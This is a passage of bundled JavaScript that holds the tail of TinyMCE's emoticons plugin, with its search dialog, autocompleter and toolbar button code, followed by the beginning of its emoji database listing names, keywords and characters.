      const lowerCasePattern = pattern.toLowerCase();
      const reachedLimit = maxResults.fold(() => never, max => size => size >= max);
      for (let i = 0; i < list.length; i++) {
        if (pattern.length === 0 || emojiMatches(list[i], lowerCasePattern)) {
          matches.push({
            value: list[i].char,
            text: list[i].title,
            icon: list[i].char
          });
          if (reachedLimit(matches.length)) {
            break;
          }
        }
      }
      return matches;
    };

    const patternName = 'pattern';
    const open = (editor, database) => {
      const initialState = {
        pattern: '',
        results: emojisFrom(database.listAll(), '', Optional.some(300))
      };
      const currentTab = Cell(ALL_CATEGORY);
      const scan = dialogApi => {
        const dialogData = dialogApi.getData();
        const category = currentTab.get();
        const candidates = database.listCategory(category);
        const results = emojisFrom(candidates, dialogData[patternName], category === ALL_CATEGORY ? Optional.some(300) : Optional.none());
        dialogApi.setData({ results });
      };
      const updateFilter = last(dialogApi => {
        scan(dialogApi);
      }, 200);
      const searchField = {
        label: 'Search',
        type: 'input',
        name: patternName
      };
      const resultsField = {
        type: 'collection',
        name: 'results'
      };
      const getInitialState = () => {
        const body = {
          type: 'tabpanel',
          tabs: map$1(database.listCategories(), cat => ({
            title: cat,
            name: cat,
            items: [
              searchField,
              resultsField
            ]
          }))
        };
        return {
          title: 'Emojis',
          size: 'normal',
          body,
          initialData: initialState,
          onTabChange: (dialogApi, details) => {
            currentTab.set(details.newTabName);
            updateFilter.throttle(dialogApi);
          },
          onChange: updateFilter.throttle,
          onAction: (dialogApi, actionData) => {
            if (actionData.name === 'results') {
              insertEmoticon(editor, actionData.value);
              dialogApi.close();
            }
          },
          buttons: [{
              type: 'cancel',
              text: 'Close',
              primary: true
            }]
        };
      };
      const dialogApi = editor.windowManager.open(getInitialState());
      dialogApi.focus(patternName);
      if (!database.hasLoaded()) {
        dialogApi.block('Loading emojis...');
        database.waitForLoad().then(() => {
          dialogApi.redial(getInitialState());
          updateFilter.throttle(dialogApi);
          dialogApi.focus(patternName);
          dialogApi.unblock();
        }).catch(_err => {
          dialogApi.redial({
            title: 'Emojis',
            body: {
              type: 'panel',
              items: [{
                  type: 'alertbanner',
                  level: 'error',
                  icon: 'warning',
                  text: 'Could not load emojis'
                }]
            },
            buttons: [{
                type: 'cancel',
                text: 'Close',
                primary: true
              }],
            initialData: {
              pattern: '',
              results: []
            }
          });
          dialogApi.focus(patternName);
          dialogApi.unblock();
        });
      }
    };

    const register$1 = (editor, database) => {
      editor.addCommand('mceEmoticons', () => open(editor, database));
    };

    const setup = editor => {
      editor.on('PreInit', () => {
        editor.parser.addAttributeFilter('data-emoticon', nodes => {
          each$1(nodes, node => {
            node.attr('data-mce-resize', 'false');
            node.attr('data-mce-placeholder', '1');
          });
        });
      });
    };

    const init = (editor, database) => {
      editor.ui.registry.addAutocompleter('emoticons', {
        trigger: ':',
        columns: 'auto',
        minChars: 2,
        fetch: (pattern, maxResults) => database.waitForLoad().then(() => {
          const candidates = database.listAll();
          return emojisFrom(candidates, pattern, Optional.some(maxResults));
        }),
        onAction: (autocompleteApi, rng, value) => {
          editor.selection.setRng(rng);
          editor.insertContent(value);
          autocompleteApi.hide();
        }
      });
    };

    const register = editor => {
      const onAction = () => editor.execCommand('mceEmoticons');
      editor.ui.registry.addButton('emoticons', {
        tooltip: 'Emojis',
        icon: 'emoji',
        onAction
      });
      editor.ui.registry.addMenuItem('emoticons', {
        text: 'Emojis...',
        icon: 'emoji',
        onAction
      });
    };

    var Plugin = () => {
      global$1.add('emoticons', (editor, pluginUrl) => {
        register$2(editor, pluginUrl);
        const databaseUrl = getEmojiDatabaseUrl(editor);
        const databaseId = getEmojiDatabaseId(editor);
        const database = initDatabase(editor, databaseUrl, databaseId);
        register$1(editor, database);
        register(editor);
        init(editor, database);
        setup(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 14 */
/***/ (() => {

window.tinymce.Resource.add("tinymce.plugins.emoticons",{grinning:{keywords:["face","smile","happy","joy",":D","grin"],char:"😀",fitzpatrick_scale:false,category:"people"},grimacing:{keywords:["face","grimace","teeth"],char:"😬",fitzpatrick_scale:false,category:"people"},grin:{keywords:["face","happy","smile","joy","kawaii"],char:"😁",fitzpatrick_scale:false,category:"people"},joy:{keywords:["face","cry","tears","weep","happy","happytears","haha"],char:"😂",fitzpatrick_scale:false,category:"people"},rofl:{keywords:["face","rolling","floor","laughing","lol","haha"],char:"🤣",fitzpatrick_scale:false,category:"people"},partying:{keywords:["face","celebration","woohoo"],char:"🥳",fitzpatrick_scale:false,category:"people"},smiley:{keywords:["face","happy","joy","haha",":D",":)","smile","funny"],char:"😃",fitzpatrick_scale:false,category:"people"},smile:{keywords:["face","happy","joy","funny","haha","laugh","like",":D",":)"],char:"😄",fitzpatrick_scale:false,category:"people"},sweat_smile:{keywords:["face","hot","happy","laugh","sweat","smile","relief"],char:"😅",fitzpatrick_scale:false,category:"people"},laughing:{keywords:["happy","joy","lol","satisfied","haha","face","glad","XD","laugh"],char:"😆",fitzpatrick_scale:false,category:"people"},innocent:{keywords:["face","angel","heaven","halo"],char:"😇",fitzpatrick_scale:false,category:"people"},wink:{keywords:["face","happy","mischievous","secret",";)","smile","eye"],char:"😉",fitzpatrick_scale:false,category:"people"},blush:{keywords:["face","smile","happy","flushed","crush","embarrassed","shy","joy"],char:"😊",fitzpatrick_scale:false,category:"people"},slightly_smiling_face:{keywords:["face","smile"],char:"🙂",fitzpatrick_scale:false,category:"people"},upside_down_face:{keywords:["face","flipped","silly","smile"],char:"🙃",fitzpatrick_scale:false,category:"people"},relaxed:{keywords:["face","blush","massage","happiness"],char:"☺️",fitzpatrick_scale:false,category:"people"},yum:{keywords:["happy","joy","tongue","smile","face","silly","yummy","nom","delicious","savouring"],char:"😋",fitzpatrick_scale:false,category:"people"},relieved:{keywords:["face","relaxed","phew","massage","happiness"],char:"😌",fitzpatrick_scale:false,category:"people"},heart_eyes:{keywords:["face","love","like","affection","valentines","infatuation","crush","heart"],char:"😍",fitzpatrick_scale:false,category:"people"},smiling_face_with_three_hearts:{keywords:["face","love","like","affection","valentines","infatuation","crush","hearts","adore"],char:"🥰",fitzpatrick_scale:false,category:"people"},kissing_heart:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:"😘",fitzpatrick_scale:false,category:"people"},kissing:{keywords:["love","like","face","3","valentines","infatuation","kiss"],char:"😗",fitzpatrick_scale:false,category:"people"},kissing_smiling_eyes:{keywords:["face","affection","valentines","infatuation","kiss"],char:"😙",fitzpatrick_scale:false,category:"people"},kissing_closed_eyes:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:"😚",fitzpatrick_scale:false,category:"people"},stuck_out_tongue_winking_eye:{keywords:["face","prank","childish","playful","mischievous","smile","wink","tongue"],char:"😜",fitzpatrick_scale:false,category:"people"},zany:{keywords:["face","goofy","crazy"],char:"🤪",fitzpatrick_scale:false,category:"people"},raised_eyebrow:{keywords:["face","distrust","scepticism","disapproval","disbelief","surprise"],char:"🤨",fitzpatrick_scale:false,category:"people"},monocle:{keywords:["face","stuffy","wealthy"],char:"🧐",fitzpatrick_scale:false,category:"people"},stuck_out_tongue_closed_eyes:{keywords:["face","prank","playful","mischievous","smile","tongue"],char:"😝",fitzpatrick_scale:false,category:"people"},stuck_out_tongue:{keywords:["face","prank","childish","playful","mischievous","smile","tongue"],char:"😛",fitzpatrick_scale:false,category:"people"},money_mouth_face:{keywords:["face","rich","dollar","money"],char:"🤑",fitzpatrick_scale:false,category:"people"},nerd_face:{keywords:["face","nerdy","geek","dork"],char:"🤓",fitzpatrick_scale:false,category:"people"},sunglasses:{keywords:["face","cool","smile","summer","beach","sunglass"],char:"😎",fitzpatrick_scale:false,category:"people"},star_struck:{keywords:["face","smile","starry","eyes","grinning"],char:"🤩",fitzpatrick_scale:false,category:"people"},clown_face:{keywords:["face"],char:"🤡",fitzpatrick_scale:false,category:"people"},cowboy_hat_face:{keywords:["face","cowgirl","hat"],char:"🤠",fitzpatrick_scale:false,category:"people"},hugs:{keywords:["face","smile","hug"],char:"🤗",fitzpatrick_scale:false,category:"people"},smirk:{keywords:["face","smile","mean","prank","smug","sarcasm"],char:"😏",fitzpatrick_scale:false,category:"people"},no_mouth:{keywords:["face","hellokitty"],char:"😶",fitzpatrick_scale:false,category:"people"},neutral_face:{keywords:["indifference","meh",":|","neutral"],char:"😐",fitzpatrick_scale:false,category:"people"},expressionless:{keywords:["face","indifferent","-_-","meh","deadpan"],char:"😑",fitzpatrick_scale:false,category:"people"},unamused:{keywords:["indifference","bored","straight face","serious","sarcasm","unimpressed","skeptical","dubious","side_eye"],char:"😒",fitzpatrick_scale:false,category:"people"},roll_eyes:{keywords:["face","eyeroll","frustrated"],char:"🙄",fitzpatrick_scale:false,category:"people"},thinking:{keywords:["face","hmmm","think","consider"],char:"🤔",fitzpatrick_scale:false,category:"people"},lying_face:{keywords:["face","lie","pinocchio"],char:"🤥",fitzpatrick_scale:false,category:"people"},hand_over_mouth:{keywords:["face","whoops","shock","surprise"],char:"🤭",fitzpatrick_scale:false,category:"people"},shushing:{keywords:["face","quiet","shhh"],char:"🤫",fitzpatrick_scale:false,category:"people"},symbols_over_mouth:{keywords:["face","swearing","cursing","cussing","profanity","expletive"],char:"🤬",fitzpatrick_scale:false,category:"people"},exploding_head:{keywords:["face","shocked","mind","blown"],char:"🤯",fitzpatrick_scale:false,category:"people"},flushed:{keywords:["face","blush","shy","flattered"],char:"😳",fitzpatrick_scale:false,category:"people"},disappointed:{keywords:["face","sad","upset","depressed",":("],char:"😞",fitzpatrick_scale:false,category:"people"},worried:{keywords:["face","concern","nervous",":("],char:"😟",fitzpatrick_scale:false,category:"people"},angry:{keywords:["mad","face","annoyed","frustrated"],char:"😠",fitzpatrick_scale:false,category:"people"},rage:{keywords:["angry","mad","hate","despise"],char:"😡",fitzpatrick_scale:false,category:"people"},pensive:{keywords:["face","sad","depressed","upset"],char:"😔",fitzpatrick_scale:false,category:"people"},confused:{keywords:["face","indifference","huh","weird","hmmm",":/"],char:"😕",fitzpatrick_scale:false,category:"people"},slightly_frowning_face:{keywords:["face","frowning","disappointed","sad","upset"],char:"🙁",fitzpatrick_scale:false,category:"people"},frowning_face:{keywords:["face","sad","upset","frown"],char:"☹",fitzpatrick_scale:false,category:"people"},persevere:{keywords:["face","sick","no","upset","oops"],char:"😣",fitzpatrick_scale:false,category:"people"},confounded:{keywords:["face","confused","sick","unwell","oops",":S"],char:"😖",fitzpatrick_scale:false,category:"people"},tired_face:{keywords:["sick","whine","upset","frustrated"],char:"😫",fitzpatrick_scale:false,category:"people"},weary:{keywords:["face","tired","sleepy","sad","frustrated","upset"],char:"😩",fitzpatrick_scale:false,category:"people"},pleading:{keywords:["face","begging","mercy"],char:"🥺",fitzpatrick_scale:false,category:"people"},triumph:{keywords:["face","gas","phew","proud","pride"],char:"😤",fitzpatrick_scale:false,category:"people"},open_mouth:{keywords:["face","surprise","impressed","wow","whoa",":O"],char:"😮",fitzpatrick_scale:false,category:"people"},scream:{keywords:["face","munch","scared","omg"],char:"😱",fitzpatrick_scale:false,category:"people"},fearful:{keywords:["face","scared","terrified","nervous","oops","huh"],char:"😨",fitzpatrick_scale:false,category:"people"},cold_sweat:{keywords:["face","nervous","sweat"],char:"😰",fitzpatrick_scale:false,category:"people"},hushed:{keywords:["face","woo","shh"],char:"😯",fitzpatrick_scale:false,category:"people"},frowning:{keywords:["face","aw","what"],char:"😦",fitzpatrick_scale:false,category:"people"},anguished:{keywords:["face","stunned","nervous"],char:"😧",fitzpatrick_scale:false,category:"people"},cry:{keywords:["face","tears","sad","depressed","upset",":'("],char:"😢",fitzpatrick_scale:false,category:"people"},disappointed_relieved:{keywords:["face","phew","sweat","nervous"],char:"😥",fitzpatrick_scale:false,category:"people"},drooling_face:{keywords:["face"],char:"🤤",fitzpatrick_scale:false,category:"people"},sleepy:{keywords:["face","tired","rest","nap"],char:"😪",fitzpatrick_scale:false,category:"people"},sweat:{keywords:["face","hot","sad","tired","exercise"],char:"😓",fitzpatrick_scale:false,category:"people"},hot:{keywords:["face","feverish","heat","red","sweating"],char:"🥵",fitzpatrick_scale:false,category:"people"},cold:{keywords:["face","blue","freezing","frozen","frostbite","icicles"],char:"🥶",fitzpatrick_scale:false,category:"people"},sob:{keywords:["face","cry","tears","sad","upset","depressed"],char:"😭",fitzpatrick_scale:false,category:"people"},dizzy_face:{keywords:["spent","unconscious","xox","dizzy"],char:"😵",fitzpatrick_scale:false,category:"people"},astonished:{keywords:["face","xox","surprised","poisoned"],char:"😲",fitzpatrick_scale:false,category:"people"},zipper_mouth_face:{keywords:["face","sealed","zipper","secret"],char:"🤐",fitzpatrick_scale:false,category:"people"},nauseated_face:{keywords:["face","vomit","gross","green","sick","throw up","ill"],char:"🤢",fitzpatrick_scale:false,category:"people"},sneezing_face:{keywords:["face","gesundheit","sneeze","sick","allergy"],char:"🤧",fitzpatrick_scale:false,category:"people"},vomiting:{keywords:["face","sick"],char:"🤮",fitzpatrick_scale:false,category:"people"},mask:{keywords:["face","sick","ill","disease"],char:"😷",fitzpatrick_scale:false,category:"people"},face_with_thermometer:{keywords:["sick","temperature","thermometer","cold","fever"],char:"🤒",fitzpatrick_scale:false,category:"people"},face_with_head_bandage:{keywords:["injured","clumsy","bandage","hurt"],char:"🤕",fitzpatrick_scale:false,category:"people"},woozy:{keywords:["face","dizzy","intoxicated","tipsy","wavy"],char:"🥴",fitzpatrick_scale:false,category:"people"},sleeping:{keywords:["face","tired","sleepy","night","zzz"],char:"😴",fitzpatrick_scale:false,category:"people"},zzz:{keywords:["sleepy","tired","dream"],char:"💤",fitzpatrick_scale:false,category:"people"},poop:{keywords:["hankey","shitface","fail","turd","shit"],char:"💩",fitzpatrick_scale:false,category:"people"},smiling_imp:{keywords:["devil","horns"],char:"😈",fitzpatrick_scale:false,category:"people"},imp:{keywords:["devil","angry","horns"],char:"👿",fitzpatrick_scale:false,category:"people"},japanese_ogre:{keywords:["monster","red","mask","halloween","scary","creepy","devil","demon","japanese","ogre"],char:"👹",fitzpatrick_scale:false,category:"people"},japanese_goblin:{keywords:["red","evil","mask","monster","scary","creepy","japanese","goblin"],char:"👺",fitzpatrick_scale:false,category:"people"},skull:{keywords:["dead","skeleton","creepy","death"],char:"💀",fitzpatrick_scale:false,category:"people"},ghost:{keywords:["halloween","spooky","scary"],char:"👻",fitzpatrick_scale:false,category:"people"},alien:{keywords:["UFO","paul","weird","outer_space"],char:"👽",fitzpatrick_scale:false,category:"people"},robot:{keywords:["computer","machine","bot"],char:"🤖",fitzpatrick_scale:false,category:"people"},smiley_cat:{keywords:["animal","cats","happy","smile"],char:"😺",fitzpatrick_scale:false,category:"people"},smile_cat:{keywords:["animal","cats","smile"],char:"😸",fitzpatrick_scale:false,category:"people"},joy_cat:{keywords:["animal","cats","haha","happy","tears"],char:"😹",fitzpatrick_scale:false,category:"people"},heart_eyes_cat:{keywords:["animal","love","like","affection","cats","valentines","heart"],char:"😻",fitzpatrick_scale:false,category:"people"},smirk_cat:{keywords:["animal","cats","smirk"],char:"😼",fitzpatrick_scale:false,category:"people"},kissing_cat:{keywords:["animal","cats","kiss"],char:"😽",fitzpatrick_scale:false,category:"people"},scream_cat:{keywords:["animal","cats","munch","scared","scream"],char:"🙀",fitzpatrick_scale:false,category:"people"},crying_cat_face:{keywords:["animal","tears","weep","sad","cats","upset","cry"],char:"😿",fitzpatrick_scale:false,category:"people"},pouting_cat:{keywords:["animal","cats"],char:"😾",fitzpatrick_scale:false,category:"people"},palms_up:{keywords:["hands","gesture","cupped","prayer"],char:"🤲",fitzpatrick_scale:true,category:"people"},raised_hands:{keywords:["gesture","hooray","yea","celebration","hands"],char:"🙌",fitzpatrick_scale:true,category:"people"},clap:{keywords:["hands","praise","applause","congrats","yay"],char:"👏",fitzpatrick_scale:true,category:"people"},wave:{keywords:["hands","gesture","goodbye","solong","farewell","hello","hi","palm"],char:"👋",fitzpatrick_scale:true,category:"people"},call_me_hand:{keywords:["hands","gesture"],char:"🤙",fitzpatrick_scale:true,category:"people"},"+1":{keywords:["thumbsup","yes","awesome","good","agree","accept","cool","hand","like"],char:"👍",fitzpatrick_scale:true,category:"people"},"-1":{keywords:["thumbsdown","no","dislike","hand"],char:"👎",fitzpatrick_scale:true,category:"people"},facepunch:{keywords:["angry","violence","fist","hit","attack","hand"],char:"👊",fitzpatrick_scale:true,category:"people"},fist:{keywords:["fingers","hand","grasp"],char:"✊",fitzpatrick_scale:true,category:"people"},fist_left:{keywords:["hand","fistbump"],char:"🤛",fitzpatrick_scale:true,category:"people"},fist_right:{keywords:["hand","fistbump"],char:"🤜",fitzpatrick_scale:true,category:"people"},v:{keywords:["fingers","ohyeah","hand","peace","victory","two"],char:"✌",fitzpatrick_scale:true,category:"people"},ok_hand:{keywords:["fingers","limbs","perfect","ok","okay"],char:"👌",fitzpatrick_scale:true,category:"people"},raised_hand:{keywords:["fingers","stop","highfive","palm","ban"],char:"✋",fitzpatrick_scale:true,category:"people"},raised_back_of_hand:{keywords:["fingers","raised","backhand"],char:"🤚",fitzpatrick_scale:true,category:"people"},open_hands:{keywords:["fingers","butterfly","hands","open"],char:"👐",fitzpatrick_scale:true,category:"people"},muscle:{keywords:["arm","flex","hand","summer","strong","biceps"],char:"💪",fitzpatrick_scale:true,category:"people"},pray:{keywords:["please","hope","wish","namaste","highfive"],char:"🙏",fitzpatrick_scale:true,category:"people"},foot:{keywords:["kick","stomp"],char:"🦶",fitzpatrick_scale:true,category:"people"},leg:{keywords:["kick","limb"],char:"🦵",fitzpatrick_scale:true,category:"people"},handshake:{keywords:["agreement","shake"],char:"🤝",fitzpatrick_scale:false,category:"people"},point_up:{keywords:["hand","fingers","direction","up"],char:"☝",fitzpatrick_scale:true,category:"people"},point_up_2:{keywords:["fingers","hand","direction","up"],char:"👆",fitzpatrick_scale:true,category:"people"},point_down:{keywords:["fingers","hand","direction","down"],char:"👇",fitzpatrick_scale:true,category:"people"},point_left:{keywords:["direction","fingers","hand","left"],char:"👈",fitzpatrick_scale:true,category:"people"},point_right:{keywords:["fingers","hand","direction","right"],char:"👉",fitzpatrick_scale:true,category:"people"},fu:{keywords:["hand","fingers","rude","middle","flipping"],char:"🖕",fitzpatrick_scale:true,category:"people"},raised_hand_with_fingers_splayed:{keywords:["hand","fingers","palm"],char:"🖐",fitzpatrick_scale:true,category:"people"},love_you:{keywords:["hand","fingers","gesture"],char:"🤟",fitzpatrick_scale:true,category:"people"},metal:{keywords:["hand","fingers","evil_eye","sign_of_horns","rock_on"],char:"🤘",fitzpatrick_scale:true,category:"people"},crossed_fingers:{keywords:["good","lucky"],char:"🤞",fitzpatrick_scale:true,category:"people"},vulcan_salute:{keywords:["hand","fingers","spock","star trek"],char:"🖖",fitzpatrick_scale:true,category:"people"},writing_hand:{keywords:["lower_left_ballpoint_pen","stationery","write","compose"],char:"✍",fitzpatrick_scale:true,category:"people"},selfie:{keywords:["camera","phone"],char:"🤳",fitzpatrick_scale:true,category:"people"},nail_care:{keywords:["beauty","manicure","finger","fashion","nail"],char:"💅",fitzpatrick_scale:true,category:"people"},lips:{keywords:["mouth","kiss"],char:"👄",fitzpatrick_scale:false,category:"people"},tooth:{keywords:["teeth","dentist"],char:"🦷",fitzpatrick_scale:false,category:"people"},tongue:{keywords:["mouth","playful"],char:"👅",fitzpatrick_scale:false,category:"people"},ear:{keywords:["face","hear","sound","listen"],char:"👂",fitzpatrick_scale:true,category:"people"},nose:{keywords:["smell","sniff"],char:"👃",fitzpatrick_scale:true,category:"people"},eye:{keywords:["face","look","see","watch","stare"],char:"👁",fitzpatrick_scale:false,category:"people"},eyes:{keywords:["look","watch","stalk","peek","see"],char:"👀",fitzpatrick_scale:false,category:"people"},brain:{keywords:["smart","intelligent"],char:"🧠",fitzpatrick_scale:false,category:"people"},bust_in_silhouette:{keywords:["user","person","human"],char:"👤",fitzpatrick_scale:false,category:"people"},busts_in_silhouette:{keywords:["user","person","human","group","team"],char:"👥",fitzpatrick_scale:false,category:"people"},speaking_head:{keywords:["user","person","human","sing","say","talk"],char:"🗣",fitzpatrick_scale:false,category:"people"},baby:{keywords:["child","boy","girl","toddler"],char:"👶",fitzpatrick_scale:true,category:"people"},child:{keywords:["gender-neutral","young"],char:"🧒",fitzpatrick_scale:true,category:"people"},boy:{keywords:["man","male","guy","teenager"],char:"👦",fitzpatrick_scale:true,category:"people"},girl:{keywords:["female","woman","teenager"],char:"👧",fitzpatrick_scale:true,category:"people"},adult:{keywords:["gender-neutral","person"],char:"🧑",fitzpatrick_scale:true,category:"people"},man:{keywords:["mustache","father","dad","guy","classy","sir","moustache"],char:"👨",fitzpatrick_scale:true,category:"people"},woman:{keywords:["female","girls","lady"],char:"👩",fitzpatrick_scale:true,category:"people"},blonde_woman:{keywords:["woman","female","girl","blonde","person"],char:"👱‍♀️",fitzpatrick_scale:true,category:"people"},blonde_man:{keywords:["man","male","boy","blonde","guy","person"],char:"👱",fitzpatrick_scale:true,category:"people"},bearded_person:{keywords:["person","bewhiskered"],char:"🧔",fitzpatrick_scale:true,category:"people"},older_adult:{keywords:["human","elder","senior","gender-neutral"],char:"🧓",fitzpatrick_scale:true,category:"people"},older_man:{keywords:["human","male","men","old","elder","senior"],char:"👴",fitzpatrick_scale:true,category:"people"},older_woman:{keywords:["human","female","women","lady","old","elder","senior"],char:"👵",fitzpatrick_scale:true,category:"people"},man_with_gua_pi_mao:{keywords:["male","boy","chinese"],char:"👲",fitzpatrick_scale:true,category:"people"},woman_with_headscarf:{keywords:["female","hijab","mantilla","tichel"],char:"🧕",fitzpatrick_scale:true,category:"people"},woman_with_turban:{keywords:["female","indian","hinduism","arabs","woman"],char:"👳‍♀️",fitzpatrick_scale:true,category:"people"},man_with_turban:{keywords:["male","indian","hinduism","arabs"],char:"👳",fitzpatrick_scale:true,category:"people"},policewoman:{keywords:["woman","police","law","legal","enforcement","arrest","911","female"],char:"👮‍♀️",fitzpatrick_scale:true,category:"people"},policeman:{keywords:["man","police","law","legal","enforcement","arrest","911"],char:"👮",fitzpatrick_scale:true,category:"people"},construction_worker_woman:{keywords:["female","human","wip","build","construction","worker","labor","woman"],char:"👷‍♀️",fitzpatrick_scale:true,category:"people"},construction_worker_man:{keywords:["male","human","wip","guy","build","construction","worker","labor"],char:"👷",fitzpatrick_scale:true,category:"people"},guardswoman:{keywords:["uk","gb","british","female","royal","woman"],char:"💂‍♀️",fitzpatrick_scale:true,category:"people"},guardsman:{keywords:["uk","gb","british","male","guy","royal"],char:"💂",fitzpatrick_scale:true,category:"people"},female_detective:{keywords:["human","spy","detective","female","woman"],char:"🕵️‍♀️",fitzpatrick_scale:true,category:"people"},male_detective:{keywords:["human","spy","detective"],char:"🕵",fitzpatrick_scale:true,category:"people"},woman_health_worker:{keywords:["doctor","nurse","therapist","healthcare","woman","human"],char:"👩‍⚕️",fitzpatrick_scale:true,category:"people"},man_health_worker:{keywords:["doctor","nurse","therapist","healthcare","man","human"],char:"👨‍⚕️",fitzpatrick_scale:true,category:"people"},woman_farmer:{keywords:["rancher","gardener","woman","human"],char:"👩‍🌾",fitzpatrick_scale:true,category:"people"},man_farmer:{keywords:["rancher","gardener","man","human"],char:"👨‍🌾",fitzpatrick_scale:true,category:"people"},woman_cook:{keywords:["chef","woman","human"],char:"👩‍🍳",fitzpatrick_scale:true,category:"people"},man_cook:{keywords:["chef","man","human"],char:"👨‍🍳",fitzpatrick_scale:true,category:"people"},woman_student:{keywords:["graduate","woman","human"],char:"👩‍🎓",fitzpatrick_scale:true,category:"people"},man_student:{keywords:["graduate","man","human"],char:"👨‍🎓",fitzpatrick_scale:true,category:"people"},woman_singer:{keywords:["rockstar","entertainer","woman","human"],char:"👩‍🎤",fitzpatrick_scale:true,category:"people"},man_singer:{keywords:["rockstar","entertainer","man","human"],char:"👨‍🎤",fitzpatrick_scale:true,category:"people"},woman_teacher:{keywords:["instructor","professor","woman","human"],char:"👩‍🏫",fitzpatrick_scale:true,category:"people"},man_teacher:{keywords:["instructor","professor","man","human"],char:"👨‍🏫",fitzpatrick_scale:true,category:"people"},woman_factory_worker:{keywords:["assembly","industrial","woman","human"],char:"👩‍🏭",fitzpatrick_scale:true,category:"people"},man_factory_worker:{keywords:["assembly","industrial","man","human"],char:"👨‍🏭",fitzpatrick_scale:true,category:"people"},woman_technologist:{keywords:["coder","developer","engineer","programmer","software","woman","human","laptop","computer"],char:"👩‍💻",fitzpatrick_scale:true,category:"people"},man_technologist:{keywords:["coder","developer","engineer","programmer","software","man","human","laptop","computer"],char:"👨‍💻",fitzpatrick_scale:true,category:"people"},woman_office_worker:{keywords:["business","manager","woman","human"],char:"👩‍💼",fitzpatrick_scale:true,category:"people"},man_office_worker:{keywords:["business","manager","man","human"],char:"👨‍💼",fitzpatrick_scale:true,category:"people"},woman_mechanic:{keywords:["plumber","woman","human","wrench"],char:"👩‍🔧",fitzpatrick_scale:true,category:"people"},man_mechanic:{keywords:["plumber","man","human","wrench"],char:"👨‍🔧",fitzpatrick_scale:true,category:"people"},woman_scientist:{keywords:["biologist","chemist","engineer","physicist","woman","human"],char:"👩‍🔬",fitzpatrick_scale:true,category:"people"},man_scientist:{keywords:["biologist","chemist","engineer","physicist","man","human"],char:"👨‍🔬",fitzpatrick_scale:true,category:"people"},woman_artist:{keywords:["painter","woman","human"],char:"👩‍🎨",fitzpatrick_scale:true,category:"people"},man_artist:{keywords:["painter","man","human"],char:"👨‍🎨",fitzpatrick_scale:true,category:"people"},woman_firefighter:{keywords:["fireman","woman","human"],char:"👩‍🚒",fitzpatrick_scale:true,category:"people"},man_firefighter:{keywords:["fireman","man","human"],char:"👨‍🚒",fitzpatrick_scale:true,category:"people"},woman_pilot:{keywords:["aviator","plane","woman","human"],char:"👩‍✈️",fitzpatrick_scale:true,category:"people"},man_pilot:{keywords:["aviator","plane","man","human"],char:"👨‍✈️",fitzpatrick_scale:true,category:"people"},woman_astronaut:{keywords:["space","rocket","woman","human"],char:"👩‍🚀",fitzpatrick_scale:true,category:"people"},man_astronaut:{keywords:["space","rocket","man","human"],char:"👨‍🚀",fitzpatrick_scale:true,category:"people"},woman_judge:{keywords:["justice","court","woman","human"],char:"👩‍⚖️",fitzpatrick_scale:true,category:"people"},man_judge:{keywords:["justice","court","man","human"],char:"👨‍⚖️",fitzpatrick_scale:true,category:"people"},woman_superhero:{keywords:["woman","female","good","heroine","superpowers"],char:"🦸‍♀️",fitzpatrick_scale:true,category:"people"},man_superhero:{keywords:["man","male","good","hero","superpowers"],char:"🦸‍♂️",fitzpatrick_scale:true,category:"people"},woman_supervillain:{keywords:["woman","female","evil","bad","criminal","heroine","superpowers"],char:"🦹‍♀️",fitzpatrick_scale:true,category:"people"},man_supervillain:{keywords:["man","male","evil","bad","criminal","hero","superpowers"],char:"🦹‍♂️",fitzpatrick_scale:true,category:"people"},mrs_claus:{keywords:["woman","female","xmas","mother christmas"],char:"🤶",fitzpatrick_scale:true,category:"people"},santa:{keywords:["festival","man","male","xmas","father christmas"],char:"🎅",fitzpatrick_scale:true,category:"people"},sorceress:{keywords:["woman","female","mage","witch"],char:"🧙‍♀️",fitzpatrick_scale:true,category:"people"},wizard:{keywords:["man","male","mage","sorcerer"],char:"🧙‍♂️",fitzpatrick_scale:true,category:"people"},woman_elf:{keywords:["woman","female"],char:"🧝‍♀️",fitzpatrick_scale:true,category:"people"},man_elf:{keywords:["man","male"],char:"🧝‍♂️",fitzpatrick_scale:true,category:"people"},woman_vampire:{keywords:["woman","female"],char:"🧛‍♀️",fitzpatrick_scale:true,category:"people"},man_vampire:{keywords:["man","male","dracula"],char:"🧛‍♂️",fitzpatrick_scale:true,category:"people"},woman_zombie:{keywords:["woman","female","undead","walking dead"],char:"🧟‍♀️",fitzpatrick_scale:false,category:"people"},man_zombie:{keywords:["man","male","dracula","undead","walking dead"],char:"🧟‍♂️",fitzpatrick_scale:false,category:"people"},woman_genie:{keywords:["woman","female"],char:"🧞‍♀️",fitzpatrick_scale:false,category:"people"},man_genie:{keywords:["man","male"],char:"🧞‍♂️",fitzpatrick_scale:false,category:"people"},mermaid:{keywords:["woman","female","merwoman","ariel"],char:"🧜‍♀️",fitzpatrick_scale:true,category:"people"},merman:{keywords:["man","male","triton"],char:"🧜‍♂️",fitzpatrick_scale:true,category:"people"},woman_fairy:{keywords:["woman","female"],char:"🧚‍♀️",fitzpatrick_scale:true,category:"people"},man_fairy:{keywords:["man","male"],char:"🧚‍♂️",fitzpatrick_scale:true,category:"people"},angel:{keywords:["heaven","wings","halo"],char:"👼",fitzpatrick_scale:true,category:"people"},pregnant_woman:{keywords:["baby"],char:"🤰",fitzpatrick_scale:true,category:"people"},breastfeeding:{keywords:["nursing","baby"],char:"🤱",fitzpatrick_scale:true,category:"people"},princess:{keywords:["girl","woman","female","blond","crown","royal","queen"],char:"👸",fitzpatrick_scale:true,category:"people"},prince:{keywords:["boy","man","male","crown","royal","king"],char:"🤴",fitzpatrick_scale:true,category:"people"},bride_with_veil:{keywords:["couple","marriage","wedding","woman","bride"],char:"👰",fitzpatrick_scale:true,category:"people"},man_in_tuxedo:{keywords:["couple","marriage","wedding","groom"],char:"🤵",fitzpatrick_scale:true,category:"people"},running_woman:{keywords:["woman","walking","exercise","race","running","female"],char:"🏃‍♀️",fitzpatrick_scale:true,category:"people"},running_man:{keywords:["man","walking","exercise","race","running"],char:"🏃",fitzpatrick_scale:true,category:"people"},walking_woman:{keywords:["human","feet","steps","woman","female"],char:"🚶‍♀️",fitzpatrick_scale:true,category:"people"},walking_man:{keywords:["human","feet","steps"],char:"🚶",fitzpatrick_scale:true,category:"people"},dancer:{keywords:["female","girl","woman","fun"],char:"💃",fitzpatrick_scale:true,category:"people"},man_dancing:{keywords:["male","boy","fun","dancer"],char:"